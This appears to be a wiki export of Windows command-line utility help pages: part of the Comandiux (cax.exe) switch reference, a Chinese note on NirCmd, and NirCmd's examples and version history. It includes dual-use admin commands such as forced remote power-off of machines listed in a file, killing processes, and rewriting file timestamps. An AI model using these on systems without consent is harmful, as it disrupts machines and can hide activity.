execute)<br>\n/REPEAT:2 - repeat commands from parameter 2 on command line (/vwait:4 par1 /vwait:6 par4 /repeat:3 - repeat commands from /vwait:6 including)<br>\nuse Cax.exe /winclose ".Comandiux*" to stop this loop</p>\n<p> /MEMFREE:10 - free 10% or RAM<br>\n\n/.MANIFEST - create Comandiux .Manifest file for Windows XP<br>\n/REGISTEREXE - register Comandiux program in registry path<br>\nHKEY_CURRENT_USER\sSoftware\sMicrosoft\sWindows\sCurrentVersion\sApp Paths\sCax.exe<br>\nHKEY_LOCAL_MACHINE\sSOFTWARE\sMicrosoft\sWindows\sCurrentVersion\sApp Paths\sCax.exe<br>\n</p>\n<p>Services / drivers<br>\n/SVC~I - install Comandiux service, manual start<br>\n/SVC~IA - install Comandiux service, automatic start<br>\n/SVC~R - run as service<br>\n\n/SVC~U - uninstall Comandiux service<br>\n/SVC~NAME:name - service name to install/uninstall<br>\n/SVC~DISP:name - service display name to install/uninstall<br>\n/SVC~PARAM - parameters used to start service (all strings after this parameter are parsed as service parameters)<br>\n/SVC~I /SVC~NAME:MyService /SVC~DISP:"My first service" /SVC~PARAM /svc~r /rumw program.exe parameter_one parameter_two<br>\n/SVC~U /SVC~NAME:MyService<br>\nin registry \s\sHKEY_LOCAL_MACHINE\sSYSTEM\sCurrentControlSet\sServices\sMyService, you can change other service parameters</p>\n<p> /SVCLIST - list all known services and drivers<br>\n\n/SVCSVCLIST - list all services<br>\n/SVCDRVLIST - list all drivers<br>\n/SVCSTOP name - stop service<br>\n/SVCSTART name - start service<br>\n</p>\n<p>Windows / machine controlling:<br>\n/DARD - Disconnect this remote session, with ask<br>\n/DRD - Disconnect this remote session<br>\n/DWH - Hibernate computer<br>\n\n/DAWH - Hibernate with ask<br>\n/DWC - Close Windows, Power off<br>\n/DAWC - Close windows with ask, Power off<br>\n/LOCKW - Lock Workstation<br>\n/DWL - Log off<br>\n/DAWL - Log off with ask<br>\n/DFL - Force Log Off<br>\n/DAFL - Force Log Off with ask<br>\n/DWR - Reboot computer<br>\n\n/DAWR - Reboot computer with ask<br>\n/DFR - Force reboot<br>\n/DAFR - Force reboot with ask<br>\n/DWS - Suspend computer<br>\n/DAWS - Suspend with ask<br>\n/DWNP - ShutDown, No Power Off<br>\n/DHFS - ShutDown Force If Hung, Power off<br>\n/DAHFS - ShutDown Force If Hung with Ask, Power off<br>\n/DAFS - Force ShutDown with ask, Power off<br>\n\n/DFS - Force ShutDown, Power off<br>\n/DESR - Emergency force reboot, no ask!<br>\n/DESS - Emergency force ShutDown, Power off, no ask!<br>\n/SHUTDOWNINIT - initiate system shutdown: /shutdowninit machine timeout message forceY/N rebootY/N<br>\n/shutdowninit SERVER 230 "SERVER will reboot in 230 seconds" N Y<br>\n/SHUTDOWNABORT - abort system shutdown: /shutdownabort machine ("-" means local machine)<br>\n</p>\n<p>Message boxes (result are returned as errorlevel, refer to MSDN MessageBox function):<br>\n/MSG - Messagebox "OK"<br>\n\n/MSC - Messagebox "OK Cancel"<br>\n/MSR - Messagebox "Abort Retry Ignore"<br>\n/MSN - Messagebox "Yes No Cancel"<br>\n/MSY - Messagebox "Yes No"<br>\n/MSRC - Messagebox "Retry Cancel"<br>\n/MSIG - Messagebox "OK", Comandiux continues with next parameter, otherwise ends<br>\n/MSIC - Messagebox "OK Cancel", if "OK" Comandiux continues with next parameter, otherwise ends<br>\n/MSIY - Messagebox "Yes No", if "YES" Comandiux continues with next parameter, otherwise ends<br>\n(IDOK 1, IDCANCEL 2, IDABORT 3, IDRETRY 4, IDIGNORE 5, IDYES 6, IDNO 7, IDCLOSE 8, IDHELP 9, IDTRYAGAIN 10, IDCONTINUE 11)</p>\n\n<p>Message window:<br>\n/MSWT - Show text in message window<br>\n/MSWC - Close message window<br>\n/MSWU - Add text to message window<br>\n/TELL 20 text - Shows small window in screen center for seconds/10<br>\n/TELT - same as above plus show countdown</p>\n<p>On Screen display OSD:<br>\n/OSDTEXT 50 text - Shows lime osd text bottom on screen (timeout seconds/10 ), 0 means wait forever, /osdtext 100 "Lime Message"<br>\n/OSDRTF 50 Rich - shows Rich formated text, /osdrtf 100 "{\srtf1\sansi\sdeff0{\sfonttbl{\sf0\sfprq2 Verdana;}}{\scolortbl ;\sred0\sgreen255\sblue0;}{\suc1\spard\sqc\scf1\sb\sf0\sfs72 TEXT to SHOW \scf0\sb0\spar}"<br>\n\n/OSDFILE 50 file - shows text or rtf file content as OSD message, when create RTF, align to center<br>\n/OSDTOP 20 - Top position of OSD, 5-32000<br>\n/OSDRECYCLE - reuse OSD window, must be specified before any other /OSD... "/OSDRECYCLE /osdtext 10 %!clock!% /repeat:2" <br>\n/CLASSCLOSE ~treeumphOSD - remove OSD manually</p>\n<p>Aplication / windows:<br>\n/CAXLIST - list all running copies of Comandiux with their command lines<br>\n/WNC - Close window (class name or "-") {window name or "-"} or use #000234 (#$004ab for hexa) as window hadle number, window name as "-" must be in this case<br>\n/WNT - Destroy window (class name or "-") {window name or "-"} or number #...<br>\n/WNH - Hide window ...<br>\n\n/WNS - Show window ...<br>\n/WND - Disable window ...<br>\n/WNE - Enable window ...<br>\n/WNM - Minimize window ...<br>\n/WNX - Maximize window ...<br>\n/WNR - Restore window ...<br>\n/WNN - Show window normal ...<br>\n/WNZT - Set window topmost (stay on top) ...<br>\n/WNZN - Set window not topmost ...<br>\n\n/WNZA - Activate window (bring to front, set focus) ...<br>\n/WNZB - Send window to back (bottom) ...<br>\n/WINLIST - show applications windows, (Unicode Enabled disabled Visible hidden mInimized Maximized Parent child)<br>\n/WINLISTA - show applications windows including windows without caption / text<br>\n/WINPRIO1-6 - set process by window priority /winprio3 Calculator (1-6 = idle, below, normal abowe, high, realtime){2,4 only on win2k, XP}<br>\n/WINTRANSP - set window transparency (0=transparent, 255 = opaque) /wintransp 180 Calc*<br>\n/WINTRCL - set window color transparent (colorvalue, prefix $0 means HEX) /wintransp $0c0c0c0 Calculator<br>\n/WINCLOSE - close all windows title matches parameter /winclose "Untitled - Notepad"<br>\n/WINDESTROY - destroy all windows title matches parameter /windestroy Untitle*<br>\n\n/CLASSPRIO1-6 - set process by window priority /classprio3 SciCalc (1-6 = idle, below, normal abowe, high, realtime){2,4 only on win2k, XP}<br>\n/CLASSTRANSP - set window transparency by class name (0=transparent, 255 = opaque) /classtransp 255 SciCalc<br>\n/CLASSTRCL - set window color transparent by class (colorvalue, prefix $0 means HEX) /wintransp $0c0c0c0 SciCalc<br>\n/CLASSCLOSE - close all windows class matches parameter /classclose *pad<br>\n/CLASSDESTROY - close all windows class matches parameter /classdestroy winh*<br>\n/WINMSGSEND - Send message to window and shows result(WindowName, Message, Wparam, Lparam) /WinMsgSend Calculator 16 0 0<br>\n/WINMSGPOST - Post message to window (WindowName, Message, Wparam, Lparam) /WinMsgPost Calculator 16 0 0<br>\n/CLASSMSGSEND - Send message to window and shows result(WindowClass, Message, Wparam, Lparam) /ClassMsgSend SciCalc 16 0 0<br>\n/CLASSMSGPOST - Post message to window (WindowClass, Message, Wparam, Lparam) /ClassMsgPost SciCalc 16 0 0<br>\n\n</p>\n<p>Program / process:<br>\n/RUN - Run apl normal<br>\n/RUM - Run apl minimized<br>\n/RUH - Run apl hidden<br>\n/RUX - Run apl maximized<br>\n/RU?W - run as previous, but wait for program ends (/runw, /rumw, ...)<br>\n/VERB: - verb for ShellExecute, specify before "/RUN", (cax.exe /verb:print /run "c:\smyfile.txt"), default is 'OPEN' <br>\n/PRIO:1-6 - adjust process priority for ShellExecute (/prio:3 /run calc.exe)<br>\n\n/ASUSER - run as an user, (specify: user_name domain password program) eg.: (cax.exe /asuser peter - - notepad.exe c:\slogfile.txt), Comandiux ends after and returns Errorlevel value<br>\n/PRCLIST - show all running processes<br>\n/PRCMODLIST - show all running processes and their modules<br>\n/PRCSCAN - scan for all processes<br>\n/PRCPRIO1-6 - set process priority /prcprio3 calc.exe (1-6 = idle, below, normal abowe, high, realtime){2,4 only on win2k, XP}<br>\n/KILLPRC file - kill first process matches parameter /killprc notepad.exe<br>\n/KILLALL - kill all processes matches parameter /killall winh*<br>\n/KILLLAST - kill last process matches parameter /killlast *pad<br>\n/KILLID id - kill by process ID /killid 00f3<br>\n\n/KILLUSER name - kill all processes by user name /killuser Administ*<br>\n</p>\n<p>File, disk:<br>\n/PROP - Display properties of object<br>\n/DDEL - Delete file or dir (to Recycle Bin)<br>\n/DEL - Delete file or dir with ask (to Recycle Bin)<br>\n/REM - Remove file or dir with ask<br>\n/DREM - Remove file or dir<br>\n/CPY - Copy file or directory, (/CPY source target)<br>\n\n/CPA - Copy with ask<br>\n/CPD - Copy directly (no ask for overwrite, etc..)<br>\n/CPH - Copy hidden<br>\n/MVE - Move file or directory<br>\n/MVA - Move with ask<br>\n/MVD - Move directly (no ask for overwrite, etc..)<br>\n/MVH - Move hidden<br>\n/RNM - Rename file or directory<br>\n/RNA - Rename with ask<br>\n\n/RND - Rename directly (no ask for overwrite, etc..)<br>\n/RNH - Rename hidden<br>\n/NETA - Add network connection eg.: \s\sserver\sdisk1 s:<br>\n/NETD - Delete network connection s:<br>\n/REPLACE - Replace file on next reboot, user must be in an administrator's group (/REPLACE sourcefile new_name)<br>\n/HARDLINK - Creates hard link, both files must be on same drive (/HARDLINK new_file_name existing_file)<br>\n/DSKEJ:x - Eject drive X:<br>\n/DSKFEJ:x - Force Eject drive X:<br>\n/DSKCL:y - Close drive Y:<br>\n\n/DSKFCL:y - Force Close drive Y:<br>\n/DSKLCK:s - lock removal of drive S: <br>\n/DSKUNL:s - unlock removal of drive S: <br>\n/WAITDIRC - wait for directory change<br>\n/WAITDIRSC - wait for directory and subdirs change <br>\n/DRVLIST - List all drives in system, with network user name<br>\n/GETNETUSER - get user name for network resource (\s\s192.168.0.1\sipc$, \s\scomputer\sshare)<br>\n/MD5FILE - calculate MD5 hash and write output to .md5 file (cax.exe /MD5FILE file.iso [ouputdir or -])<br>\n/SHA1FILE - calculate SHA1 hash and write output to .sha1 file (cax.exe /SHA1FILE file.iso [ouputdir or -])<br>\n\n</p>\n<p>*******************************************************************<br>\nVariables, use on command line, Windows variables works also</p>\n<p> %!TICK!% - decimal value from gettickcount<br>\n%!HTICK!% - hexadecimal value from gettickcount<br>\n%!CLOCK!% - time HH:MM:SS<br>\n%!TIME!% - time HH-MM-SS<br>\n%!T100!% - time with 1/100 of second<br>\n%!HOUR!% - hour<br>\n\n%!MIN!% - minute<br>\n%!SEC!% - seconds<br>\n%!DATE!% - date YYYY-MM-DD<br>\n%!YEAR!% - year<br>\n%!MON!% - month<br>\n%!DAY!% - day<br>\n%!DAYN!% - name of day<br>\n%!MONN!% - name of month<br>\n%!FMEM!% - free memory in MB<br>\n\n%!UNAME!% - user name<br>\n%!CNAME!% - computer name<br>\n%!IPADS!% - IP adresses<br>\n%!CDRIVE!% - current drive<br>\n%!CDIR!% - current drive and directory<br>\n%!SDRIVE!% - starting drive of Comandiux<br>\n%!SDIR!% - starting drive and directory of Comandiux</p>\n<p>*****<br>\n/VERBOSEN - don't display any error<br>\n\n/VERBOSE0 - normal level of error reports (default)<br>\n/VERBOSE1 - show error reports</p>\n<p> "-" means Empty parameter in some case<br>\n"\sn" new line (CRLF)<br>\n"\st" TAB</p>\n<p> remove Hacker Defender service: "cax.exe /svc~u /svc~name:HackerDefender100"<br>\nclose all copies of Comandiux: "cax.exe /CLASSCLOSE .!Comandiux~main~window"</p>\n<p> HWND_BROADCAST = $FFFF<br>\n\n</p>\n<p> [Ctrl + F11] - show messages<br>\n</p>\n<p>Any comment / question? Contact author!<br>\nEmail: Comandiux@scot.sk<br>\nComandiux home: http://comandiux.scot.sk<br>\nFor gui version visit Angeliux home: http://angeliux.scot.sk</p>\n<p>Some features are not working on 9x architecture.</p>\n<p>Warning! We are not guarantee any damage caused this program!</p>\n\n</div>\n</body>\n</html>\n
http://www.nirsoft.net/utils/nircmd.html\nnircmd是一个单程序的命令行工具总集，功能非常强大，非常适合增强bat批处理文件的功能，提高工作的自动化程度。\n<<slider chkSlidernircmd nircmd_parameter nircmd "click to open">>\n相关软件：[[cax]]\n\n
<html>\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">\n<title>NirCmd - Freeware command-line tool for Windows</title>\n\n\n</head>\n<body leftmargin="0" topmargin="0" marginheight="0" marginwidth="0">\n<table border="0" cellpadding="2" cellspacing="0" width="100%">\n<tbody><tr>\n<td colspan="4" class="siteheader">\n<a href="http://www.nirsoft.net/">\n</a></td></tr><tr><td class="siteheader" valign="top" width="50"><table border="0" cellpadding="3"><tbody><tr class="menu1"><td nowrap="nowrap"><a href="http://www.nirsoft.net/contact-new.html"></a><br>\n\n\n<td valign="top">\n\n\n\n\n<table class="utilcaption" border="0">\n<tbody><tr>\n<td>NirCmd v1.85 - Freeware command-line tool for Windows\n<br>\nCopyright (c) 2003 - 2006 Nir Sofer\n</td></tr></tbody></table>\n\n\n\n\n\n<p>\n<a name="description"></a></p><h4 class="utilsubject">Description</h4>\nNirCmd is a small command-line utility that allows you to do some useful tasks without\ndisplaying any user interface. By running NirCmd with simple command-line option, you can\nwrite and delete values and keys in the Registry, write values into INI file, dial to your\ninternet account or connect to a VPN network, restart windows or shut down the computer, \ncreate shortcut to a file, change the created/modified date of a file, change your display\nsettings, turn off your monitor, open the door of your CD-ROM drive, and more...\n\n\n<p>\n<a name="examples"></a></p><h4 class="utilsubject">Examples of what you can do with NirCmd</h4>\n<table border="1" cellpadding="5">\n<tbody><tr>\n<td width="50%">Open the door of J: CD-ROM drive\n</td><td nowrap="nowrap">\n<span class="commandline">\n\nnircmd.exe cdrom open j: \n</span>\n\n</td></tr><tr>\n<td>Close the door of Y: CD-ROM drive\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe cdrom close y: \n\n</td></tr><tr>\n<td>Increase the system volume by 2000 units (out of 65535)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe changesysvolume 2000\n\n</td></tr><tr>\n<td>Decrease the system volume by 5000 units (out of 65535)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe changesysvolume -5000\n\n\n</td></tr><tr>\n<td>Set the volume to the highest value\n\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe setsysvolume 65535\n\n</td></tr><tr>\n<td>Mute the system volume\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe mutesysvolume 1\n\n</td></tr><tr>\n<td>Unmute the system volume\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe mutesysvolume 0\n\n</td></tr><tr>\n<td>Switch the system volume between the mute and normal state.\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe mutesysvolume 2\n\n</td></tr><tr>\n<td>Create a shortcut on your desktop that switch the system volume between the mute and normal state.\n</td><td class="commandline">\n\nnircmd.exe cmdshortcut "~$folder.desktop$" "Switch Volume" mutesysvolume 2\n\n</td></tr><tr>\n<td>Turn off the monitor\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe monitor off\n\n</td></tr><tr>\n<td>Start the default screen saver\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe screensaver \n\n</td></tr><tr>\n<td>Put your computer in 'standby' mode\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe standby\n\n</td></tr><tr>\n<td>\nlog off the current user\n</td><td class="commandline" nowrap="nowrap">\n\nnircmd.exe exitwin logoff\n\n</td></tr><tr>\n<td>\nAsk if you want to reboot, and if you answer 'Yes', reboot the computer.\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe qboxcom "Do you want to reboot ?" "question" exitwin reboot\n\n</td></tr><tr>\n<td>\nTurn off your computer\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe exitwin poweroff \n\n\n</td></tr><tr>\n<td>\nTurn off all computers specified in computers.txt !\n</td><td class="commandline" nowrap="nowrap">\nmultiremote copy "c:\stemp\scomputers.txt" exitwin poweroff force \n\n</td></tr><tr>\n\n<td>Dial to "My Internet" connection \n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe rasdial "My Internet"\n\n</td></tr><tr>\n<td>Disconnect the "My Internet" connection \n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe rashangup "My Internet"\n\n</td></tr><tr>\n<td>Make your Internet Explorer windows 75% transparent ! (192 / 256)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win trans ititle "internet explorer" 192\n\n</td></tr><tr>\n<td>Minimize all your Internet Explorer windows \n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win min class "IEFrame" \n\n</td></tr><tr>\n<td>Close all your Internet Explorer windows \n\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win close class "IEFrame" \n\n</td></tr><tr>\n<td>Close all your Explorer windows (My Computer, folders, and so on)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win close class "CabinetWClass"\n\n</td></tr><tr>\n<td>Hide all your Internet Explorer windows \n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win hide class "IEFrame" \n\n</td></tr><tr>\n<td>Show all your Internet Explorer windows (after you made them hidden with previous example)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win show class "IEFrame" \n\n</td></tr><tr>\n<td>Center all top-level windows\n</td><td class="commandline" nowrap="nowrap">\n\nnircmd.exe win center alltop\n\n</td></tr><tr>\n<td>Remove the title bar of My Computer window.\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win -style title "my computer" 0x00C00000\n\n</td></tr><tr>\n<td>Return the title bar of My Computer window that we removed in the previous example.\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win +style title "my computer" 0x00C00000\n\n\n</td></tr><tr>\n<td>Set the My Computer window to right-to-left order (For hebrew and arabic languages)\n</td><td class="commandline" nowrap="nowrap">\nnircmd win +exstyle title "my computer" 0x00400000\n\n\n</td></tr><tr>\n<td>Set all child windows of My Computer window to right-to-left order (For hebrew and arabic languages)\n</td><td class="commandline" nowrap="nowrap">\nnircmd win child title "my computer" +exstyle all 0x00400000\n\n\n</td></tr><tr>\n<td>Create a shortcut on your desktop that closes all your Internet Explorer windows \n</td><td class="commandline">\nnircmd.exe cmdshortcut " "~$folder.desktop$ "Close All IE" win close class "IEFrame" \n\n</td></tr><tr>\n<td>Create a shortcut on your desktop that hides all your Internet Explorer windows \n</td><td class="commandline">\nnircmd.exe cmdshortcut " "~$folder.desktop$ "Hide All IE" win hide class "IEFrame" \n\n</td></tr><tr>\n<td>Create a shortcut on your desktop that shows back all your Internet Explorer windows \n</td><td class="commandline">\nnircmd.exe cmdshortcut " "~$folder.desktop$ "Show All IE" win show class "IEFrame" \n\n</td></tr><tr>\n<td>Set the Windows Calculator as top-most window (above all other windows)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win settopmost title "Calculator" 1\n\n</td></tr><tr>\n\n<td>Set the Windows Calculator back to regular window (non top-most window)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win settopmost title "Calculator" 0\n\n</td></tr><tr>\n<td>Create a shortcut to Windows calculator under Start Menu->Programs->Calculators \n</td><td class="commandline">\nnircmd.exe shortcut "f:\swinnt\ssystem32\scalc.exe" "~$folder.programs$\sCalculators" "Windows Calculator" \n\n</td></tr><tr>\n<td>Hide the desktop window\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win hide class progman\n\n</td></tr><tr>\n<td>Show the desktop window (After hiding it in previous example)\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win show class progman\n\n\n</td></tr><tr>\n<td>Hide the start button on the system tray\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win child class "Shell_TrayWnd" hide class "button"\n\n\n</td></tr><tr>\n<td>Show the start button on the system tray\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win child class "Shell_TrayWnd" show class "button"\n\n\n</td></tr><tr>\n<td>Hide the clock on the system tray\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win child class "Shell_TrayWnd" hide class "TrayClockWClass"\n\n</td></tr><tr>\n<td>Show the clock on the system tray\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe win child class "Shell_TrayWnd" show class "TrayClockWClass" \n\n</td></tr><tr>\n\n<td>Kill (terminate) all instance of Internet Explorer processes\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe killprocess iexplore.exe\n\n\n</td></tr><tr>\n<td>Create a shortcut on your desktop that opens the door of K: CDROM drive when you run it.\n</td><td class="commandline">\nnircmd.exe cmdshortcut "~$folder.desktop$" "Open CDROM" cdrom open k:\n\n</td></tr><tr>\n<td>Create a shortcut to NirSoft Web site on your desktop\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe urlshortcut "http://www.nirsoft.net" "~$folder.desktop$" "NirSoft"\n\n</td></tr><tr>\n<td>Add NirSoft Web site to your Favorities under Links folder.\n</td><td class="commandline">\nnircmd.exe urlshortcut "http://www.nirsoft.net" "~$folder.favorites$\sLinks" "NirSoft"\n\n</td></tr><tr>\n<td>Create a shortcut to NirSoft Web site on the desktop of all computers listed in computers.txt\n\n</td><td class="commandline">\nnircmd.exe multiremote copy "c:\stemp\scomputers.txt" urlshortcut "http://www.nirsoft.net" "~$folder.common_desktop$" "NirSoft"\n\n</td></tr><tr>\n<td>Set the display mode to 800x600x24bit colors\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe setdisplay 800 600 24\n\n</td></tr><tr>\n<td>Create a shortcut on the desktop that set the display mode to 800x600x24bit colors\n</td><td class="commandline">\nnircmd.exe cmdshortcut "~$folder.desktop$" &quot800x600x24" setdisplay 800 600 24\n\n</td></tr><tr>\n<td>Copy all shortcuts on your desktop to another folder (f:\stemp\sdesktop).\n</td><td class="commandline">\nnircmd.exe execmd copy "~$folder.desktop$\s*.lnk" f:\stemp\sdesktop \n\n</td></tr><tr>\n<td>Restart your Apache server (under Windows NT/2000/XP/2003)\n\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe service restart apache\n\n</td></tr><tr>\n<td>Create a shortcut on your desktop that restarts the Apache server\n</td><td class="commandline">\nnircmd.exe cmdshortcut "~$folder.desktop$" "Restart Apache" service restart apache\n\n</td></tr><tr>\n<td>Restart your IIS\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe service restart w3svc \n\n</td></tr><tr>\n<td>Restart MySql\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe service restart MySql \n\n</td></tr><tr>\n<td>Open the desired Registry key/value in RegEdit\n</td><td class="commandline">\n\nnircmd.exe regedit "HKLM\sSoftware\sMicrosoft\sWindows\sCurrentVersion" "CommonFilesDir"\n\n\n</td></tr><tr>\n<td>Open the Registry key that you copied to the clipboard in RegEdit.\n</td><td class="commandline">\nnircmd regedit "~$clipboard$"\n\n</td></tr><tr>\n<td>Disable the screen saver\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe regsetval sz "HKCU\scontrol panel\sdesktop" "ScreenSaveActive" 0\n\n\n</td></tr><tr>\n<td>Enable the screen saver\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe regsetval sz "HKCU\scontrol panel\sdesktop" "ScreenSaveActive" 1\n\n\n</td></tr><tr>\n<td>Change the date/time of the specified filename (creation time and modified time)\n</td><td class="commandline">\nnircmd.exe setfiletime "c:\stemp\smyfile.txt" "24-06-2003 17:57:11" "22-11-2005 10:21:56" \n\n\n\n</td></tr><tr>\n<td>Copy your desktop folder path to the clipboard\n</td><td class="commandline">\nnircmd.exe clipboard set ~$folder.desktop$\n\n\n</td></tr><tr>\n<td>Copy your start menu folder path to the clipboard\n</td><td class="commandline">\nnircmd.exe clipboard set ~$folder.start_menu$\n\n</td></tr><tr>\n<td>Copy the content of info1.txt (simple text file) to the clipboard\n</td><td class="commandline">\nnircmd.exe clipboard readfile "c:\sMy Files\sinfo1.txt"\n\n</td></tr><tr>\n<td>Add the text content of clipboard to info1.txt\n</td><td class="commandline">\nnircmd.exe clipboard addfile "c:\sMy Files\sinfo1.txt"\n\n</td></tr><tr>\n\n<td>Clear the clipboard\n</td><td class="commandline">\nnircmd.exe clipboard clear\n\n</td></tr><tr>\n<td>Create all folders specified in "c:\stemp\sfolders.txt". The folder path names are\nseparated by CRLF characters.\n</td><td class="commandline">\nnircmd.exe paramsfile "c:\stemp\sfolders.txt" "" "" execmd md ~$fparam.1$\n\n\n</td></tr><tr>\n<td>Install the specified .NET assembly in the global assembly cache (like gacutil)\n</td><td class="commandline">\nnircmd.exe gac install "C:\stemp\sMyAssembly\sbin\sMyAssembly.dll"\n\n\n</td></tr><tr>\n<td>Empty the recycle bin in all drives.\n</td><td class="commandline" nowrap="nowrap">\nnircmd.exe emptybin \n\n\n\n</td></tr></tbody></table>\n\n<p>\n<a name="sysreq"></a></p><h4 class="utilsubject">System Requirements</h4>\nThis utility can work in all 32-bit Windows operating systems: Windows 9x/ME, \nWindows NT, Windows 2000, and Windows XP.\nHowever, some of NirCmd commands works only on Windows NT/2000/XP.\n\n<a name="verhistory"></a><h4 class="utilsubject">Versions History</h4>\n<table border="1" cellpadding="5">\n<tbody><tr class="utiltableheader"><th>Date </th><th> Version </th><th> Description\n\n\n</th></tr><tr><td>24/07/2006</td><td>1.85</td><td>\n<ul>\n<li>New command: cmdshortcutkey\n\n</li></ul>\n\n</td></tr><tr><td>15/07/2006</td><td>1.84</td><td>\n<ul>\n<li>Starting from this version, if you don't specify a sound device index in setsysvolume, changesysvolume, setsysvolume2, changesysvolume2 and mutesysvolume commands, \nthe default sound device in control panel ("preferred device") is used.\n</li><li>New find options in win command: active, foreground, desktop\n</li></ul>\n\n</td></tr><tr><td>20/05/2006</td><td>1.83</td><td>\n<ul>\n<li>Fixed bug with parameter variables: parameter dialog-box appear more than once.\n</li><li>New find option in Win command: alltopnodesktop\n</li></ul>\n\n</td></tr><tr><td>18/02/2006</td><td>1.82</td><td>\n<ul>\n<li>New win actions: postmsg and sendmsg.\n</li><li>New command: closeprocess\n</li><li>NirCmd now returns a non-zero value on error.\n</li></ul>\n\n</td></tr><tr><td>19/11/2005</td><td>1.81</td><td>\n<ul>\n<li>New command: emptybin - Empty the Recycle Bin.\n</li><li>New optional parameter in setdisplay command: refresh rate.\n</li><li>rashangup command without parameter - disconnect all active connections.\n\n</li></ul>\n\n</td></tr><tr><td>24/09/2005</td><td>1.80</td><td>\n<ul>\n<li>New commands: exec2, cmdwait.\n</li><li>New options in clipboard command.\n</li><li>Volume commands (setsysvolume, changesysvolume, setsysvolume2, changesysvolume2, mutesysvolume) now allows you to change the volume of non-default sound card.\n</li></ul>\n\n</td></tr><tr><td>07/07/2005</td><td>1.70</td><td>\n<ul>\n<li>New win actions: activate, hideshow, +style, -style, +exstyle, -exstyle\n</li><li>New commands: movecursor, setcursor.\n\n</li><li>New command: setfilefoldertime - allows you to change the date/time of folders, under Windows 2000/XP only.\n</li></ul>\n\n</td></tr><tr><td>10/06/2005</td><td>1.62</td><td>\n<ul>\n<li>New actions in win command: focus, enable, disable\n</li></ul>\n\n</td></tr><tr><td>26/05/2005</td><td>1.61</td><td>\n<ul>\n<li>new command: sysrefresh - make a general system refresh after modifying your system settings in the Registry.\n</li></ul>\n\n</td></tr><tr><td>07/05/2005</td><td>1.60</td><td>\n<ul>\n<li>New paramsfile command: Allows you to execute a command multiple times by loading the parameters from a text file.\n</li><li>New actions in win command: move, center, settext.\n</li><li>New 'child' action in win command: Allows you to move/hide child windows (For example: the start button in the system tray)\n</li><li>New clipboard command: Allows you to put a string in the clipboard, and clear the clipboard.\n</li><li>New gac command: Allows you to install assemblies in Global Assembly Cache.\n\n</li></ul>\n\n</td></tr><tr><td>28/12/2004</td><td>1.56</td><td>\n<ul>\n<li>New variable: ~$clipboard$ - paste the text that you copied to the clipboard into the command-line.\n\n</li><li>Parameter variables: ~$param.ParamName$ - Display an input window for typing the text that you want insert into the command-line.\n</li></ul>\n\n</td></tr><tr><td>07/12/2004</td><td>1.55</td><td>\nAdded RegEdit command.\n\n</td></tr><tr><td>18/11/2004</td><td>1.54</td><td>\n<ul>\n<li>On reg commands (regsetval, regdelval, regdelkey), you can now also use the following \nabbreviated key name: HKCU for HKEY_CURRENT_USER, HKLM for HKEY_LOCAL_MACHINE, HKCR for HKEY_CLASSES_ROOT, HKU for HKEY_USERS,\nHKCC for HKEY_CURRENT_CONFIG.\n</li><li>redraw action for win command.\n</li></ul>\n\n</td></tr><tr><td>03/11/2004</td><td>1.53</td><td>\n\nFixed 'monitor off' problem in XP SP2.\n\n</td></tr><tr><td>09/10/2004</td><td>1.52</td><td>\nrasapi32.dll is now loaded only when using the dial commands (rasdial, rasdialdlg, rashangup).\nIn previous versions, NirCmd was statically linked to rasapi32.dll, and that caused problems in old NT systems.\n\n</td></tr><tr><td>29/09/2004</td><td>1.51</td><td>\nVariable names are now enclosed with '$' char instead of '%' char.\n<br>\nI made this change because the '%' char causes problems when running NirCmd from cmd/bat file.\nusing the '%' char for variable names is still supported for backward compatibility.\n\n\n\n</td></tr><tr><td>22/09/2004</td><td>1.50</td><td>\n<ul>\n<li>New commands: cmdshortcut, regsvr, mutesysvolume, changesysvolume, changesysvolume2, setsysvolume2.\n</li><li>New actions in win command: trans, setsize, settopmost, ititle.\n\n</li><li>New variables: folder.nircmd, nir.exefile\n</li><li>nircmdc.exe - console version of NirCmd.\n</li><li>Changed name - from NirComLime to NirCmd.\n</li></ul>\n\n</td></tr><tr><td>05/05/2004</td><td>1.40</td><td>\n<ul>\n<li>New commands: wait, setvolume, setsysvolume, execmd, exec.\n</li><li>New commands for executing NirCmd on remote machines: remote and multiremote.\n</li><li>Folder and system variables.\n</li><li>New option in setfiletime command - set the file time to the current time (now parameter)\n</li><li>New parameter in shortcut command - hot key.\n\n</li></ul>\n\n</td></tr><tr><td>01/03/2004</td><td>1.30</td><td>\n\n<ul>\n<li>New commands: qboxcom, 